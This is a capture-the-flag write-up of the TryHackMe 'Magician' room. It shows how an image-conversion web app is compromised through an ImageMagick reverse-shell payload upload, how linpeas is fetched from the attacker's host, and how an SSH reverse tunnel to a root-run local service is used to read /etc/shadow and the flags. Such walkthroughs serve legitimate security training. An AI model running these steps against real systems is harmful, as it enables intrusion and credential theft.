THM Writeup – Magician

This magical website lets you convert image file formats
Note: this machine needs about 7 minutes to start up, please be patient 🙂
Please add the IP address of this machine with the hostname “magician” to your /etc/hosts
file on Linux before you start.
On Windows, the hosts file should be at C:\Windows\System32\drivers\etc\hosts
.
Use the hostname instead of the IP address if you want to upload a file. This is required for the room to work correctly 😉
Have fun and use your magic skills!
Add IP address to your hosts
file:
echo '10.10.144.63 magician' >> /etc/hosts
Scan the target machine – find open ports first:
nmap -n -Pn -sS -p- --open -min-rate 5000 -vvv magician
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 64
8080/tcp open http-proxy syn-ack ttl 64
8081/tcp open blackice-icecap syn-ack ttl 64
Get more details about open ports:
nmap -T4 -A -p 21,8080,8081 magician
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| Content-Type: application/json
| Date: Wed, 16 Feb 2022 13:56:48 GMT
| Connection: close
| {"timestamp":"2022-02-16T13:56:48.600+0000","status":404,"error":"Not Found","message":"No message available","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}
| GetRequest:
| HTTP/1.1 404
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| Content-Type: application/json
| Date: Wed, 16 Feb 2022 13:56:48 GMT
| Connection: close
| {"timestamp":"2022-02-16T13:56:48.437+0000","status":404,"error":"Not Found","message":"No message available","path":"/"}
| HTTPOptions:
| HTTP/1.1 404
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| Content-Type: application/json
| Date: Wed, 16 Feb 2022 13:56:48 GMT
| Connection: close
| {"timestamp":"2022-02-16T13:56:48.564+0000","status":404,"error":"Not Found","message":"No message available","path":"/"}
| RTSPRequest:
| HTTP/1.1 505
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 465
| Date: Wed, 16 Feb 2022 13:56:48 GMT
| <!doctype html><html lang="en"><head><title>HTTP Status 505
| HTTP Version Not Supported</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 505
|_ HTTP Version Not Supported</h1></body></html>
|_http-title: Site doesn't have a title (application/json).
8081/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: magician
Browsing to http://magician:8080/ we get an error page:

Browsing to http://magician:8081/ we get an application that let us convert PNG files to JPG files:

Directory bruteforce the application – see if we find anything useful:
root@ip-10-10-8-131:~# gobuster dir -u http://magician:8081 -w /usr/share/wordlists/dirb/common.txt
===============================================================
2022/02/16 14:02:32 Starting gobuster
===============================================================
/css (Status: 301)
/favicon.ico (Status: 200)
/img (Status: 301)
/index.html (Status: 200)
/js (Status: 301)
===============================================================
2022/02/16 14:02:32 Finished
===============================================================
Nothing of interest…
Ok, first let’s find out how the whole conversion process (uploading – converting – downloading) works:
- start the BurpSuite to catch all the requests – might be helpful later
- upload a
.png
file and review the process:

So there are 3 request:
- OPTIONS – to find out what methods are allowed

- POST – to upload your
.png
file

- GET – to get your converted image to the list:

Now we know we have at least 2 API endpoints:
- http://magician:8080/upload with POST method
- http://magician:8080/files with GET method
If we browse to http://magician:8080/upload – we get status code 405 - Method Not Allowed
:

Ok, for /upload
endpoint, GET
method is not allowed.
If we browse to http://magician:8080/files – we get a list of converted files:

So I guess, there is an upload
directory where all the .png
files are uploaded and then there is a files
directory where all the converted files (from .png
to .jpg
) are stored.
We have caught all the requests so we can easily send them to repeater and try to upload a .php
file and then call it to execute our .php
. However I have no idea how to get to the upload directory to call the .php
file – so I think this would be a rabbit hole.
Instead I googled image converter web app vulnerability
:

I read the article and then searched for a payload to exploit the vulnerability – PayloadsAllTheThings is the best option to start with.
Clone the git repository if you haven’t already:
git clone https://github.com/swisskyrepo/PayloadsAllTheThings
Go to the Picture Image Magik
directory and list files:
cd PayloadsAllTheThings/Upload\ Insecure\ Files/Picture\ Image\ Magik/
ls
convert_local_etc_passwd_html.svg
convert_local_etc_passwd.svg
ghostscript_rce_curl.jpg
imagemagik_ghostscript_cmd_exec.pdf
imagemagik_ghostscript_reverse_shell.jpg
imagetragik1_payload_imageover_file_exfiltration_pangu_wrapper.jpg
imagetragik1_payload_imageover_file_exfiltration_text_wrapper.jpg
imagetragik1_payload_imageover_reverse_shell_devtcp.jpg
imagetragik1_payload_imageover_reverse_shell_netcat_fifo.png
imagetragik1_payload_imageover_wget.gif
imagetragik1_payload_url_bind_shell_nc.mvg
imagetragik1_payload_url_curl.png
imagetragik1_payload_url_portscan.jpg
imagetragik1_payload_url_remote_connection.mvg
imagetragik1_payload_url_reverse_shell_bash.mvg
imagetragik1_payload_url_touch.jpg
imagetragik1_payload_xml_reverse_shell_nctraditional.xml
imagetragik1_payload_xml_reverse_shell_netcat_encoded.xml
imagetragik2_burpcollaborator_passwd.jpg
imagetragik2_centos_id.jpg
imagetragik2_ubuntu_id.jpg
imagetragik2_ubuntu_shell2.jpg
imagetragik2_ubuntu_shell.jpg
README.md
I chose this payload:
imagetragik1_payload_imageover_reverse_shell_netcat_fifo.png
Edit the IP address to your attacking machine’s IP address and run netcat listener:
nc -lnvp 4444
Now upload the file and you’ll receive a reverse connection:

Stabilize the shell:
python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL+Z
stty raw -echo; fg ENTER ENTER
stty rows 24 columns 80
export TERM=xterm-256color
Now look around – find the user flag and read it:
magician@magician:/tmp/hsperfdata_magician$ ls -lA /home
total 4
drwxr-xr-x 5 magician magician 4096 Feb 13 2021 magician
magician@magician:/tmp/hsperfdata_magician$ cd /home/magician/
magician@magician:~$ ls -l
total 17168
-rw-r--r-- 1 root root 17565546 Jan 30 2021 spring-boot-magician-backend-0.0.1-SNAPSHOT.jar
-rw-r--r-- 1 magician magician 170 Feb 13 2021 the_magic_continues
drwxr-xr-x 2 root root 4096 Feb 5 2021 uploads
-rw-r--r-- 1 magician magician 24 Jan 30 2021 user.txt
magician@magician:~$ cat user.txt
THM{[REDACTED]}
At this point I tried some basic privilege escalation vectors:
sudo -l
getcap -r 2>/dev/null
cat /etc/crontab
find / -type f -perm -4000 2>/dev/null
but no luck so I tranfered linpeas.sh
to the target machine.
Download linpeas.sh
to your attacking machine and run python http server:
wget https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/linpeas.sh
python3 -m http.server
Download linpeas.sh
to the target machine and run it:
magician@magician:/tmp/hsperfdata_magician$ cd /tmp/
magician@magician:/tmp$ wget http://10.10.8.131:8000/linpeas.sh
magician@magician:/tmp$ sh linpeas.sh | tee -a linpeas.log
Now review the log file:
magician@magician:/tmp$ less -R linpeas.log
I have to admit, I didn’t find anything useful at the first time – I tried futher to manually enumerate the machine with no luck again, so I decided to review the log slowly again. Then I noticed these active ports:

Port 6666 that was only listening to localhost.
I created SSH reverse tunnel to forward port 6666 to my attacking machine:
magician@magician:/tmp$ ssh -R 9000:127.0.0.1:6666 root@10.10.8.131 -f -N
Then I browsed to http://127.0.0.1:9000/ (on my attacking machine):

There was another web application that expected to enter a file name.
Great, let’s try to read passwd
file:

It looks like the content is base64 encoded, so decode it now – you can use e.g. base64
command or my favourite way, CyberChef:

Awesome results so far, now try to read shadow
file – if we are able to read it, the application runs as root:

Hmm, this is interesting, we can read shadow
file, but this time we got, I guess, rotated string instead of base64 encoded – try to decode it with CyberChef:

Yep, I was right – ROT13 was used.
Ok, the application is running as root, so we can read anything on the file system, let’s read the root flag:

And decode it with CyberChef:

Note: I played little bit with the app and it looks like each time you request a file it encodes it differently – Base64, ROT13, HEX, Binary, …
Do you like this writeup? Check out other THM Writeups.